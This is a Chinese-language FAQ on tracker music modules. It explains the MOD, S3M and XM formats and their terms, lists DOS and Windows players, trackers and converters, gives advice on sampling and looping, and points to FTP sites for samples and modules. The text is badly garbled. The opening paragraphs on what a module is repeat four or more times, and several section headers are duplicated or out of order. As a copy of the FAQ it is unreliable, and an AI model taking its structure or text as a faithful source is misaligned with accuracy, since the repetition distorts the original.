  在过去几年发布的无数的mod是简单地从CD上得来的样本。怎么说,CD-ROM现在也是必不可少的设备了。唯一实际编序的仅是那些合唱段的部分。那些mod大部分是排行榜的十大热门。实际上这是一种从WAV到mod的转换。虽然人们不反对这种mod的泛滥,但这种mod违背了mod原来的设想。所以这种mod音乐是不提倡的。

[0] 目录

[1.2]本文中的术语


  Modules是数码音乐文件,由一组samples(也就是乐器的声音)和时序信息组成,告诉一个mod播放器何时以何种音高去演奏在某条音轨的某个样本,附带演奏一些效果比如颤音等。因而mod与纯正的象WAV或AU那样的没有包含时序信息的样本文件不同,与象MIDI文件那样的不携带任何附加样本/乐器的文件也不同。mod在DEMO世界里是非常流行,因为mod提供了一种具有可以接受的音质水平而又非常廉价的制作音乐的方法。随着高质量的音响硬件的使用,新一代的mod的声音质量甚至可以提升到接近专业设备的水平。mod的时序信息是基于PATTERN和TRACK的。一个PATTERN是一组有相当长度,通常为64行的音轨的组合。音轨之间是相互独立的,意味着一个四音轨mod可以同时地播放四个声音或音符。pattern可以顺序地放在一个演播表中,于是重复演播同样的pattern序列就不需要重写一次。

  这使得mod成为一种介乎于象WAV,VOC或IFF/8SVX那样的纯正样本数据文件和象MIDI那样的纯正时序信息文件之间的混合体。一个常见的问题是“我如何才能把WAV转换为mod?”。

  这是可以实现的,但并没有什么意义。在另一方面可能那些拥有庞大容量的硬盘的人们会感到有兴趣,因为他们可以听到比原来是mod的质量要高的音乐,而不惜那几M的硬盘空间(10MB/1分钟,16位,44.1kHz,立体声),或那些想在没有mod播放器(或者仅能播放8KHZ的AU文件)的人们面前炫耀的人。

  在过去几年发布的无数的mod是简单地从CD上得来的样本。怎么说,CD-ROM现在也是必不可少的设备了。唯一实际编序的仅是那些合唱段的部分。那些mod大部分是排行榜的十大热门。实际上这是一种从WAV到mod的转换。虽然人们不反对这种mod的泛滥,但这种mod违背了mod原来的设想。所以这种mod音乐是不提倡的。

[0] 目录

[1.2]本文中的术语


[1.1] Modules (什么是mod?)


  Modules是数码音乐文件,由一组samples(也就是乐器的声音)和时序信息组成,告诉一个mod播放器何时以何种音高去演奏在某条音轨的某个样本,附带演奏一些效果比如颤音等。因而mod与纯正的象WAV或AU那样的没有包含时序信息的样本文件不同,与象MIDI文件那样的不携带任何附加样本/乐器的文件也不同。mod在DEMO世界里是非常流行,因为mod提供了一种具有可以接受的音质水平而又非常廉价的制作音乐的方法。随着高质量的音响硬件的使用,新一代的mod的声音质量甚至可以提升到接近专业设备的水平。mod的时序信息是基于PATTERN和TRACK的。一个PATTERN是一组有相当长度,通常为64行的音轨的组合。音轨之间是相互独立的,意味着一个四音轨mod可以同时地播放四个声音或音符。pattern可以顺序地放在一个演播表中,于是重复演播同样的pattern序列就不需要重写一次。

  这使得mod成为一种介乎于象WAV,VOC或IFF/8SVX那样的纯正样本数据文件和象MIDI那样的纯正时序信息文件之间的混合体。一个常见的问题是“我如何才能把WAV转换为mod?”。

  这是可以实现的,但并没有什么意义。在另一方面可能那些拥有庞大容量的硬盘的人们会感到有兴趣,因为他们可以听到比原来是mod的质量要高的音乐,而不惜那几M的硬盘空间(10MB/1分钟,16位,44.1kHz,立体声),或那些想在没有mod播放器(或者仅能播放8KHZ的AU文件)的人们面前炫耀的人。

  在过去几年发布的无数的mod是简单地从CD上得来的样本。怎么说,CD-ROM现在也是必不可少的设备了。唯一实际编序的仅是那些合唱段的部分。那些mod大部分是排行榜的十大热门。实际上这是一种从WAV到mod的转换。虽然人们不反对这种mod的泛滥,但这种mod违背了mod原来的设想。所以这种mod音乐是不提倡的。

[0] 目录

[1.2]本文中的术语


  Modules是数码音乐文件,由一组samples(也就是乐器的声音)和时序信息组成,告诉一个mod播放器何时以何种音高去演奏在某条音轨的某个样本,附带演奏一些效果比如颤音等。因而mod与纯正的象WAV或AU那样的没有包含时序信息的样本文件不同,与象MIDI文件那样的不携带任何附加样本/乐器的文件也不同。mod在DEMO世界里是非常流行,因为mod提供了一种具有可以接受的音质水平而又非常廉价的制作音乐的方法。随着高质量的音响硬件的使用,新一代的mod的声音质量甚至可以提升到接近专业设备的水平。mod的时序信息是基于PATTERN和TRACK的。一个PATTERN是一组有相当长度,通常为64行的音轨的组合。音轨之间是相互独立的,意味着一个四音轨mod可以同时地播放四个声音或音符。pattern可以顺序地放在一个演播表中,于是重复演播同样的pattern序列就不需要重写一次。

  这使得mod成为一种介乎于象WAV,VOC或IFF/8SVX那样的纯正样本数据文件和象MIDI那样的纯正时序信息文件之间的混合体。一个常见的问题是“我如何才能把WAV转换为mod?”。

  这是可以实现的,但并没有什么意义。在另一方面可能那些拥有庞大容量的硬盘的人们会感到有兴趣,因为他们可以听到比原来是mod的质量要高的音乐,而不惜那几M的硬盘空间(10MB/1分钟,16位,44.1kHz,立体声),或那些想在没有mod播放器(或者仅能播放8KHZ的AU文件)的人们面前炫耀的人。

  在过去几年发布的无数的mod是简单地从CD上得来的样本。怎么说,CD-ROM现在也是必不可少的设备了。唯一实际编序的仅是那些合唱段的部分。那些mod大部分是排行榜的十大热门。实际上这是一种从WAV到mod的转换。虽然人们不反对这种mod的泛滥,但这种mod违背了mod原来的设想。所以这种mod音乐是不提倡的。

[0] 目录

[1.2]本文中的术语


  Modules是数码音乐文件,由一组samples(也就是乐器的声音)和时序信息组成,告诉一个mod播放器何时以何种音高去演奏在某条音轨的某个样本,附带演奏一些效果比如颤音等。因而mod与纯正的象WAV或AU那样的没有包含时序信息的样本文件不同,与象MIDI文件那样的不携带任何附加样本/乐器的文件也不同。mod在DEMO世界里是非常流行,因为mod提供了一种具有可以接受的音质水平而又非常廉价的制作音乐的方法。随着高质量的音响硬件的使用,新一代的mod的声音质量甚至可以提升到接近专业设备的水平。mod的时序信息是基于PATTERN和TRACK的。一个PATTERN是一组有相当长度,通常为64行的音轨的组合。音轨之间是相互独立的,意味着一个四音轨mod可以同时地播放四个声音或音符。pattern可以顺序地放在一个演播表中,于是重复演播同样的pattern序列就不需要重写一次。

  这使得mod成为一种介乎于象WAV,VOC或IFF/8SVX那样的纯正样本数据文件和象MIDI那样的纯正时序信息文件之间的混合体。一个常见的问题是“我如何才能把WAV转换为mod?”。

  这是可以实现的,但并没有什么意义。在另一方面可能那些拥有庞大容量的硬盘的人们会感到有兴趣,因为他们可以听到比原来是mod的质量要高的音乐,而不惜那几M的硬盘空间(10MB/1分钟,16位,44.1kHz,立体声),或那些想在没有mod播放器(或者仅能播放8KHZ的AU文件)的人们面前炫耀的人。

  在过去几年发布的无数的mod是简单地从CD上得来的样本。怎么说,CD-ROM现在也是必不可少的设备了。唯一实际编序的仅是那些合唱段的部分。那些mod大部分是排行榜的十大热门。实际上这是一种从WAV到mod的转换。虽然人们不反对这种mod的泛滥,但这种mod违背了mod原来的设想。所以这种mod音乐是不提倡的。

[0] 目录

[1.2]本文中的术语


  在本文中,modules被称为“mods”。这个名词被用在所有类型的mod上,象M.K.,8CHN,ULT,S3M,XM等等。

  注意:MOD这个名词(大写)是指具有这种扩展名的文件。

一个"TRACK"是一个MODULE的声音。TRACK的数目也就是可以同时演播的音符/乐器/声音的数目。

一个PATTERN是组成MODULES的最大的子单元。PATTERN由一个顺序或时序表安排,所以一个PATTERN可以在一个MODULE内被演播多次。在大多数的格式中PATTERN都有固定的长度,但在其他格式中也有是可变长度的。比如说,标准的M.K.PATTERN是4个TRACK乘以64 ROW的。

一个“ROW”是音符可以放在TRACK内的最小的时间测量单位。一个M.K.的PATTERN有64 ROW。OKT和FAR,在一首歌里可以有不同长度的PATTERN。

一个“SLOT”是一个ROW中的一个元素,用于存放特定的信息。可以是音符,音量和效果。

一个“COLUMN”是一个TRACK的一个元素,比如说音符COLUMN,音量COLUMN和效果COLUMN。

一个“COLUMN”是在一个普通TRACK中的一组相同类型的“SLOT”。

一个“SAMPLE”是在mod中包含的一种数码声音,其作用就像乐器那样。由于mods并不使用固定的乐器组(比如通用MIDI),任何东西都可以作为一个乐器,包括噪音和人类的声音。

一个“CHANNEL”是发出的声音的源。在mod团体中CHANNEL和TRACK这两个名词常被交换使用。

一个“PLAYER”是一种可以解码mod文件并在声音设备上输出的程序。

一个“TRACKER”是一种用来创作mod音乐的程序。TRACKER通常也有播放器的功能(不然怎么听!)。

[0] 目录

[1.3] 常用缩写


BPM – 即“Beats per minute”,用在mod中,通常指在默认拍子下一分钟演奏多少个四ROW的组(比如一ROW多少TICK)。在MOD和S3M中这个默认拍子是6。把拍子设为3意味着如同BPM命令所设的那样在一分钟里面演奏尽可能多的8个ROW的组。
CxSpd – 采样率。采样率是当一个TRACKER/PLAYER要以8度音阶的音符C再现一个样本时要演奏的频率.
DAC – Digital to Analog Converter, 数模转换。数字声音输出可以使用计算机的并行口。
DMA – Direct Memory Access直接内存存取,是通过计算总线快速传输数据的方法。DMA是ISA声卡的一个参数。
FM – Frequency Modulation,频率调制声音合成,一般被声音卡用于演奏MIDI音乐
FT1 – Mr.H/Triton’s FastTracker 1.xx, MS-DOS MOD tracker
FT2 – Triton’s FastTracker II
GUS – Gravis Ultrasound声音卡
Hz – Hertz, 赫兹,频率计量单位。
IRQ – Interrupt中断,也是一个声音卡的参数。
PAS – Pro Audio Spectrum声音卡
PT – ProTracker (Amiga tracker)
SB – SoundBlaster声音卡
ST3 – PSI/Future Crew’s Scream Tracker 3.2

[0] 目录

[2] 各种Module的类型


  这是一个简洁的mod类型的摘要。如果想得到更多的信息,请查阅文件格式文档或有关的TRACKER的文档。

  今天,在AMIGA计算机上最流行的mod文件格式还是MOD,PC上,S3M和MTM已经全面普及,XM相信很快就可以流行起来。

在下面的列表中:
名字指的是在这种module中找到的辨认字串或一个可以明白地辨认module的类型的名词;
默认扩展名是给予各mod类型的典型的文件名,注意,扩展名并不能清楚地定义格式;
TRACK数目很明显就是表示在这种格式的mod中可以包含有多少个TRACK;
SAMPLE数目表示在这种格式中可以支持放多少种乐器;SAMPLE属性表示该格式支持的样本位数(或叫分辨率)和CxSpd是固定还是可变的;
相关TRACKER项只是举例而已。


名字 默认扩展名 TRACK数目 Sample数目 Sample属性 相关Tracker
M.K. MOD 4 31 8 bits/fixed ProTracker
XCHN MOD 6/8 31 8 bits/fixed FastTracker 1
FLTx MOD 4/8 31 8 bits/fixed StarTrekker
NST MOD 4 15 8 bits/fixed Noise Tracker
669 669 8 64 8 bits/fixed Composer 669
UNIS 669 8 64 8 bits/fixed UNIS669
MTM MTM 1-32 31 8 bits/fixed MultiModuleEdit 1.01b

 

 

 

(63)*** (16 bits)***

 

STM STM 4 31 8 bits/var ScreamTracker 2.xx
S3M S3M 16+9** 99 8 bits/var ScreamTracker 3.2

 

 

(32)* (255)* (16bits)*

 

ULT ULT 1-32 64 8/16 bits/var UltraTracker 1.6
XM XM 2-32 128 8/16 bits/var FastTracker II
FAR FAR 16 64 8/16 bits/fixed Farandole Composer 1.00
WOW WOW 8 31 8 bits/fixed Grave Composer
OKT OKT 4-8 255 7/8 bits/fixed Oktalyzer
DMF DMF 32 ?? ?? X-Tracker 0.3
MED MED 4-8**** 32 8 bits/fixed MED/OctaMED****

* – S3M格式有容纳这种的能力,但现在还没有TRACKER提供这种功能。
** – S3M可以容纳9个 基于FM的通道 (Adlib).
*** – MTM支持,但当前版本的MMEDIT并不允许。
**** – 有许多版本的MED(MMD0, MMD1, MMD2 and MED). MED是早于OCTAMED的文件格式。
所有的MED都可以存为所谓的歌曲文件,也就是不带乐器SAMPLE数据。

[0] 目录

[3] 播放mod


  本章描述了几种运行于WINDOWS和MS-DOS平台下的mod Player(播放器)。这里列出的都是最流行的mod播放器。

[0] 目录

[3.1] MS-DOS


Cubic Player v1.7
  一个保护模式播放器,支持格式为XM, S3M, MTM, MOD/NST/WOW, OKT, 669, ULT, DMF, PTM, AMS, MDL (和MIDI, 使用GUS补丁,或用SB)于SB/2/Pro/16/AWE32, GUS/DB/MAX, PAS, WSS, 以及无声。支持输出到WAV文件。支持压缩包 (ZIP, ARJ and RAR 2),有一个内置的富有想象力的文件选择器,回音/反相和滤波器效果。
Freeware. By pascal / doj / ?hook.

  ftp://ftp.cdrom.com/pub/demos/music/programs/players/cp17.zip   Inertia Player 1.22
  IPlay可以播放MOD, STM, S3M, 669, FAR, MTM, UNIS, ULT, WOW于GUS, PAS16,Windows Sound System, SB16(ASP), SB Pro, SB, Covox(DAC8) 在LPT1,Stereo-on-1在LPT1, Adlib, PC Speaker, General MIDI。内置文件选择器和演播表支持。支持增强S3M命令(Sxy命令),
  FREEWARE。By Stefan Danes and Ramon van Gorkom of Inertia.

  ftp://ftp.cdrom.com/pub/demos/music/programs/players/iplay122.zip
ftp://irz301.inf.tu-dresden.de/.4.1/vol4/ms-dos/sound/modplay/iplay122.zip
  Dual Module Player 4.00
  DMP可以播放MOD/NST, STM/S3M, 669, FAR, MTM和AMF在PAS16, SB16, SB Pro, GUS, GUS MAX, Windows Sound System。具有软件滤波器(反转,回声,低通)和质量模式,同时支持MOD和S3M立体声的位移特性有一方便的module文件选择器。支持压缩文件。
  Careware and/or cardware. By Otto Chrons.

ftp://ftp.cdrom.com/pub/demos/music/programs/players/dmp400.zip

注意:该压缩档里有普通和32位保护模式的两个版本。

Starplayer 2.22
  一个保护模式(需要386或以上)MOD, S3M和MTM播放器于GUS和SB(单声道,44kHz)。Starplayer可以装载最多64首歌到扩展内存并可以在DOS外壳下选歌(后台播放)。具有文件选择器和音量调节。也可以在DOS外壳里加载歌曲。同时内置了MOD/MTM到S3M的转换功能。执行文件仅为大约20K。
  Freeware. By jedi / oxygen.

ftp://peace.wit.com/kosmic/oxygen/starp222.zip
http://kosmic.wit.com/~kosmic/oxygen/starplay.html

[0] 目录

[3.2] Windows


MOD4WIN 2.40 BETAxx
  播放 MOD/STM/S3M/669/FAR/MTM/UNIS/OKT/WOW/XM于Windows波形设备之上,或GF1- (GUS/MAX/ACE)或OPL4的卡(直接支持)。同时支持录音到磁盘(对于mod的WAV录音)。 最高支持到16位,48Khz。功能包括环绕声,IDO2,移位,内置文件选择器,演播表,文件管理和压缩文件支持。我认为是WINDOWS下最佳的播放器。
  By Kay Bruns, Uwe Zaenker and Jens Puchert. Shareware

http://www.mod4win.com

其他的就不用说了。

[0] 目录

[4] 创造mod


  如果你早已厌倦了返来复去地听别人的作品,想自己一显身手,那么你就需要一个TRACKER。或者,你有想把MIDI转换为mod的念头,那你也需要一个CONVERTER或者TRACKER去完成这项工作。

[0] 目录

[4.1] 音轨编辑器(Tracker)


[4.1.1] MS-DOS


  MS-DOS用户有许多TRACKER可供选择,而且这些TRACKER都提供了比基本mod强得多的功能。 包括:

Scream Tracker 3.21
  由Future Crew的PSI编程,支持GUS, SB, SB Pro. 编辑最多32 个数码track(但最多只能播放16个),99个乐器(S3M格式支持最多255个),支持PRO TRACKER命令集的一个超集(但有些效果的支持有所不同),8位sample并可调C4Spd(S3M格式允许16位ADPCM压缩立体声sample),9个ADLIB FM通道(只能在SB/SB PRO上播放)和8度音阶。支持独立音量段(和大多数播放器都支持的移位)。扩展性的区段命令和编辑能力使其成为目前差不多是最好的TRACKER。输出S3M和MOD格式(但S3M到MOD的转换绝对不建议!)。读S3M,STM(很好),M.K.,6CHN, 8CHN, Oktalyzer MOD, 5 到10track的MOD (很好的MOD装载器) 和一个特性输入格式。有自己的sample格式,可以与Advanced Digiplayer共享, ST3也可以读无格式8-位sample(有符号或无符号)。
  Freeware!

ftp://ftp.cdrom.com/pub/demos/music/programs/trackers/s3m/scrmt321.zip

FastTracker II
  由Triton的Mr H和Vogue编写,支持GUS, SB和SB Pro。编辑最多32条track,128个乐器,多sample乐器(每个乐器最多16个sample),乐器的音量和移位,最大4 GB的sample 容量,双向循环,可变长pattern,内置sample编辑器、采样器和CD dumper,256个patterns,独立音量/移位/vibrato段,声明完全MIDI支持。可以读取MOD,STM,S3M类型的mods,无格式sample(有/无符号)和IFFsample支持,并可以是8或16位。可以微调sample频率或相关的音符值。
  Shareware。

ftp://ftp.cdrom.com/pub/demos/music/programs/trackers/ft206.zip

[0] 目录

[4.2] 格式转换器(Converter)


  从mod格式到其他mod格式特别是非mod格式的转换很可能会丢失原来的信息。在大多数的情况下,没有解决办法。比如说,把16TRACK的带有Qxy和额外音量控制命令的S3M转换为4TRACK的M.K.就完全不可能。M.K.格式容不下这些信息。但反过来的转换就可以十分成功。可能有些许不兼容,但许多根本就不被察觉。
  转换到MIDI或从MIDI转换过来也是很难做到准确的。MIDI文件具有与mod文件完全不相同的命令格式(废话),由于MIDI播放有很多东西都是由MIDI硬件完成的,而MIDI文件中并不包含这些信息,但相反的是,mod中却包含了这些信息。所以如果从mod到MIDI进行转换,很多命令都会丢失,所以很多东西都要假设,结果是偏离了原音乐。

[0] 目录

[4.2.1] 从MIDI转换


PTMID 0.3


PTMID 0.3


PTMID 0.3

  把通用MIDI(GM)转换为MOD (比如M.K., 6CHN 和 8CHN)和 MTM 文件。需要一个配置文件指定使用那些SAMPLE,产生多少TRACK和使用的分辨率。因此完全需要一个仔细的设置过程。产生的mod文件一般还要经过TRACKER进行修改。
  Freeware. By Andrew Scott (ascott@tartarus.uwa.edu.au)

ftp://x2ftp.oulu.fi:/pub/msdos/programming/convert/ptmid3.zip MS-DOS
ftp://ftp.mm.se/playerpro/ptmid_0.3_folder.sit.bin Mac

[0] 目录

[4.2.2] Mod的格式转换器


MS-DOS:
Mtm2S3m 0.91a
  把MTM 转换为S3M。旧版本对大于64K的sample不能转换。现在应该已经有新的版本了。
  By Zab/DA
ftp://ftp.cdrom.com/pub/demos/music/programs/converters/m2s091b.zip

M2AMF
  与MS-DOS播放器DMP一起提供,把所有DMP知道的格式转换为AMF格式。AMF 文件通常都比原来的MOD文件小些。从AMF到其他文件格式目前还不可能,所以是死胡同。
  By Otto Chrons.
ftp://ftp.cdrom.com/pub/demos/music/programs/players/dmp400.zip

669 to MOD v1.0
  转换 669 为 8CHN。(c)1993 by Kenneth Galbraith
ftp://ftp.cdrom.com/pub/demos/music/programs/converters/6692mod.zip

MOD to 669
  转换 PT mods 为 669。(c)1993 by DTown Inc.
ftp://ftp.cdrom.com/pub/demos/music/programs/converters/mod2669.zip

MTM to MOD v1.1
  转换 MTM 为 MOD。(c) Daniel Goldstein (StarScream)
ftp://ftp.cdrom.com/pub/demos/music/programs/converters/mtmmod11.zip
(also packaged with MultiModule Editor 1.01b)

STX2STM v1.0
  转换 STX (STMIK 0.2) 为 STM。(c)1994 by Lutz Roeder
ftp://ftp.cdrom.com/pub/demos/music/programs/converters/stx2stm.zip

TOAMIGA
  转换 STM 为 PT MOD。在一个比较旧的MOD播放器 MP219b,by Mark J. Cox
ftp:??

[0] 目录

[5] 样本(Sample)


  Samples在mod中是至关重要的。好的samples造成了比较好和非常好的mod之间的区别。并且由于自定义samples是mod的一个非常伟大的优势,所以在选择sample的时候应该非常注意。

  Sample的一个两个影响质量的因数是分辨率(位数)和采样率。位数表示一个sample在分辨振幅的层次的能力,高的位数的声音比低位数的声音表现得更精确。采样率直接与sample重放的最高频率有关。40Khz采样率的sample,可以在20Khz的频率重放。也就是说,低频的声音可以用低采样率来录制,而高频的声音就必须用高采样率来录制。

  Mod的另一个因素是允许sample的最大长度。根据格式的不同,允许范围从64K到几乎无限大都有。注意某些TRACKER粗鲁地限制sample的长度,即使该格式是支持的。对于sample大小问题的解决方法是sample循环。放置得好的循环点使持续乐器听起来完全不同,所以要花多点时间在这上面。 在mod的社会中,Sample格式应该是最混乱的话题。特别是象SAM和SMP这样的扩展名根本就胡混不清。记住文件扩展名可以在任何操作系统中随意使用,所以并不能用来做格式辨认的依据。要通过对文件头的辨认来确定该文件携带的sample格式是什么。SAM和SMP,当指的是MOD(比如M.K., xCHN, FLTx, NST,等等)sample时,没有任何文件头。它们只是简单的把数据组合在一个文件里。使用这些格式的TRACKER把它们解码为8位原始有符号的样本数据,但假设了一个回放率给它们。正常地,微调命令和循环次数不能存放在MOD sample中(Fast Tracker 1通过使用文件的日期和时间戳来解决这个问题。)。
  其它信息可以在以下文档找到(强烈建议):

  音频文件格式FAQ,by Guido van Rossum guido@cwi.nl;
http://voorn.cwi.nl/audio-formats/a00.html

[0] 目录

[5.1] 获得(Acquisition)


[5.1.1] 采样(Sampling)


[5.1.1] 采样(Sampling)


[5.1.1] 采样(Sampling)


  虽然采集sample的方法在不同平台和不同程序之间都是不相同的,但通用过程是一样的。你首先要做的就是把计算机的音频采集设备(声音卡)和音源(比如电吉他)连接起来,然后启动采样程序(最简单的如WINDOWS中的录音机)。许多程序都支持“监听模式”,可以让你在开始录音之前先听听录制效果。如果可以的话,好好利用这一功能去修正采样程序的输入电平和你的音源的音量,避免音量饱和。

  当你修正了音量之后,或者你使用的程序没有监控模式,你就可以实际地对声音进行采样。通常这只是简单地按一下“开始”按纽,在音源上演奏音乐,然后按“停止”。然后你可能就被带到一个编辑屏幕,可以看见刚才录下来的东西。现在你会发现你的样本的两个问题(特别是你没有/不能先通过监控模式控制信号的话):

  如果整体音量太小的话,你会丢失sample中的分辨率和clarity。通常地,如果你的sample的最大振幅(在一个典型的波形显示上以从中坐标轴发出的竖线表示)是小于四分之三的窗口高度,那么你的sample就太小声。如果你想把声音变小,可以在module内通过调整音量来达成。

  如果音量太高,当输入的声音超出了采样器的限制时,你会听到爆音。如果你看见sample显示窗口的上面或下面是一条平线,爆音就会出现。你应该减少音量或采样器的输入电平并再次采样。

  一旦你已经成功地采样到了一个声音,接下来要干什么就取决于你采集的是什么声音。如果这个声音只是播放一次而不重复,比如说鼓,那你就已经搞定了,可以存盘并准备用到module中去。否则,如果sample是一个连续或重复的声音,比如象风笛,你要决定在哪儿放置sample的循环段。

  分辨循环的开始和结束点通常是一件包含了仔细聆听和一大堆尝试与错误的事。有时候你能够看见sample或其中的一部分,并且判断sample的那一部分是循环的。但通常是只能猜一猜大约循环在哪里开始哪里终止,不断播放直到听上去象样。当调整循环点要注意的是:因为sample的结束点紧跟着就是下一个的开始点,这两个sample如果不是振幅不等的话是非常相似的。通常地,我们可以通过寻找“零点”来确定分割位置。

[0] 目录

[5.1.2] 撬出(Ripping)


  使用别人做的sample,并且是从他们的mod里面抽出来的称为“rippling”。所有的TRACKER都允许用户把mod中的sample另外存起来。所以,你知道该怎么去做啦。另外,还有一些专门的RIPPER可以帮你做这件事。即使你没有任何TRACKER或RIPPER,也可以通过一个支持RAW(无格式)的音频编辑器来做到。不过你需要知道要RIP的mod的sample的位素是多少(比如MOD是有符号8位,S3M是无符号8位)。在音频编辑器中打开文件之后,就是通过反复聆听,把sampleCUT出来并另外保存。另外一件重要的事情是要取得正确的sample采样率。MODsample通常使用8363Hz作为C调。所以一开始先用这个频率尝试一下(不是所有的WINDOWS声音编辑器都支持任意频率,比如Creative随声音卡附送的WAV STUDIO就不支持除11、22、44KHz以外的任何频率,所以,用我的WAV MASTER吧!)。还有就是高级mod格式支持频率可调,所以要想得到正确的采样率就更需要反复聆听,甚至需要有真实的乐器在手边以便正确地得到sample(我有乐器还用这么麻烦!?)。另外经常还有A调的MOD格式。附录有一个音符频率对照表,可以帮你计算正确的采样率。

[0] 目录

[5.1.3] 从其他格式转换
  最通用的sample文件转换器可能是SOX,SOund eXchange。在很多FTP服务器上都可以找到其C源代码,并且该程序几乎可以在任何平台上运行。一般MS-DOS编译的文件称为SOX?DOS.ZIP。?是版本号。
  另一个MS-DOS应用程序是CONVERT,支持很大范围的输入和输出格式。

ftp://ftp.cdrom.com/pub/demos/music/programs/converters/convert13.zip

  通常大多数TRACKER都会至少读一种无格式sample数据。如果TRACKER输入MOD的格式,那可能它是以8位有符号数据的格式来读取。但有些TRACKER是使用无符号sample的。新的TRACKER可以读16位的数据,并且能够识别某些sample的文件头,这就使得转换工作容易得多。

  要转换一种sample使能在只能使用8位无格式数据的TRACKER中使用,你需要:
   - 输入文件(又是废话)
   - 一个sample转换器或编辑器,可以写无格式8位数据的。

  如果这个程序读不了你的sample文件的格式,你需要另外找一个程序把你的sample格式转换为通用的文件格式,比如WAV,IFF/S8VX或VOC。这些格式大多数的TRACKER/CONVERTER都能读。

  一般来说,建议把输入文件(sample)转换为通用格式,并且保留属性(位数,通道,采样率)不变。然后看看sample是否适合TRACKER。首先要看的是sample的大小和采样率。很多mod格式仍然对sample的大小有限制。比如现在对sample大小的限制是64K,8位,单声道,而你手头上的东东大小为136K,是16位,双声道的(不转换行吗?),于是要转换了,再看看,16->8,STEREO->MONO,大小总共除以4,136/4=34K,幸好,还放得下。这次还好,如果原来样本大于256K,除以4后还是大于64K,完了?没有,我们还可以修改采样率来缩小sample,但这就要看是什么声音。如果是以低频为主,比如鼓,那么采样率降到8KHz也没有什么问题,如果是小提琴,那干脆把你的sample文件砍成几块算了。

    还有就是如果你所使用的TRACKER(的格式)使用一个固定的采样率来重放C调,并通过在这个频率的基础上来计算其他音符的话,这个世界将是一片黑暗。如果你的sample不是这个频率的话,那走音是毫无疑问的。所以要紧记这一点。如果真是这样的话,有几个办法:

   1、以该C调频率重新采样,但对于高频乐器将会失真;
   2、把sample修改为较高的调子,然后利用TRACKER或该种mod格式提供的降调功能降为C调;
   3、继续截短sample,重新找循环点;
   4、把sample截断后淡出。
  具体选用那种方法视实际情况而定,而且很可能是几种方法一起来。

[0] 目录

[5.2] 样本编辑器和转换器


[5.2.1] MS-DOS


[5.2.1] MS-DOS


[5.2.1] MS-DOS


Advanced Digiplayer 3.0 by PSI/Future Crew
* 只支持SB和MS-DOS的sample编辑器;
* 读取单声道无格式8位和ST3兼容的sample并可写ST3 sample
* 功能包括:滤波器(低通和高通),重采样,音量命令(最大,设置,滑动和平滑结束),DC移位,倒转,回音,交叉减弱,机械化,突出,和音 * 双波形编辑窗口
* 非官方freeware

ftp://ftp.cdrom.com/pub/demos/music/programs/samplers/dos/dp30.zip

[0] 目录

[5.2.2] Windows


Cool Edit Pro by David Johnston / Syntrillium Software Corporation
  这可能是目前WINDOWS下最强大的音频编辑器。支持格式多,效果巨多,使用方便,速度快……反正你用过就知道了!Shardware。
Cool Edit Pro home page:
http://www.syntrillium.com
非常值得去LOAD回来。
GoldWave by Chris Craig
  这是另一个可能与Cool Edit Pro有得挥的音频编辑器,特点是支持声音的数学生成,可以自定义公式,想造特殊效果就一定要找回来。Shareware。

ftp://ftp.cdrom.com/pub/demos/music/programs/samplers/gldwav21.zip

Awave 3.0 by FMJ-Software
  音频、波表乐器文件格式转换器、编辑器和播放器。支持格式多到根本不知道是什么(真怀疑是不是捏造的)。也是强力推荐。下面是吓死人的列表:
输入格式:AIFC, AIFF, AIS, ALAW, AMS, ASE, AU, AVI, AVR, C01, CDR, DCM, DEWF, DIG, DMF, DSF, DSM, DTM, EDA, EDE, EDK, EDQ, EDS, EDT, EDV, EFA, EFE (Ensoniq), EFK, EFQ, EFS, EFT, EFV, EMD, ESPS, EUI, F2R, F3R, FAR, FNK, FSM, G721, GKH, HCOM, IFF, INI (MWave), INI (GUS), INRS, INS, IST, IST, IT, KRZ (Kurzweil), MAT, MAUD, MED, MDL, MOD, MPA (MPEG), MP2, MTM, MUS10, NIST,001 (Typhoon), OKT, PAC, PAT (GUS), PLM, PLS, PRG (WAVmaker), PSION, PSM, PTM, RAW, SAM, SB, SBK (AWE32), SD1, SDK (Roland), SDS, SDX, SDW, 669, SF, SF2 (AWE32/EMU), SFD, SFI, SFR, SMP, SND, SNDR, SNDT, SPPACK, SOU, SPL, STM, S3I, S3M, SVX, SW, SYW, TXT, TXW, UB, UDW, ULAW, ULT, UNI, UW, UWF, V8, VAP, VOX, Wxx (Yamaha), WAV, WFB, WFD, WFP (TB WaveFront), XI, XM.
输出格式:AIFF, ALAW, AU, DES, EFE, G721, IFF, INI, MAT, MWS, UB, ULAW, UW, PAT, PRG, S3I, SB, SBK, SF2, SDS, SND, SW, TXT, VOC, W01, WAV, WFB, WFP, ‘Clipboard’, ‘DigitalAudioCard’, ‘MidiSDSDump’.

http://www.nada.kth.se/~f93-maj/fmjsoft.html

ftp://ftp.orst.edu/pub/packages/gravis/submit/awave30.zip
ftp://ftp.cdrom.com/pub/demos/incoming/music/programs/awave30.zip

[0] 目录

[5.3] 存有sample的FTP站台
Kurzweil 2000:
ftp://ftp.uwp.edu/pub/music/lists/kurzweil/sounds

EMAX:
ftp://sweaty.palm.cri.nz/emax/emax1

SDS (Sample Dump Standard):
ftp://alf.uib.no/pub/midi/sds/samples
ftp://sweaty.palm.cri.nz/sds/samples

EPS-16+:
ftp://ftp.reed.edu/eps/samples
(these are also available on the WWW at URL:
http://www.acs.oakland.edu/oak/eps/eps.html)

TX16W:
ftp://ftp-ls7.informatik.uni-dortmund.de/tx16w/samples

AIFF:
ftp://ftp.reed.edu/eps/samples/aiff

Roland Disk Images:
ftp://lotus.waterloo.ca/pub/sgroups/samples

Yamaha SY-85 and 99:
ftp://louie.udel.edu/pub/midi/patches/SY99

  Microsoft WAV:
ftp://ftp.funet.fi/pub/sounds/wav/samples
ftp://doc.ntu.ac.uk/pub/sounds/samples

[0] 目录

[6] 我想得到mod


[6.1] FTP Servers



[6.1] FTP Servers



[6.1] FTP Servers


  最大的mod的FTP站台可能是Aminet,该站台有很多镜象。下面是列表:

>USA (MO) ftp.wustl.edu pub/aminet/mods
>USA (CA) ftp.cdrom.com pub/aminet/mods
>USA (TX) ftp.etsu.edu pub/aminet/mods
>Scandinavia ftp.luth.se pub/aminet/mods
>Switzerland ftp.eunet.ch pub/aminet/mods
>Switzerland litamiga.epfl.ch 128.178.151.32 pub/aminet/ (*)
>Germany ftp.uni-paderborn.de pub/aminet/mods
>Germany ftp.uni-erlangen.de pub/aminet/mods
>Germany ftp.uni-bielefeld.de pub/aminet/mods
>Germany ftp.uni-oldenburg.de pub/aminet/mods
>Germany ftp.uni-kl.de pub/aminet/mods
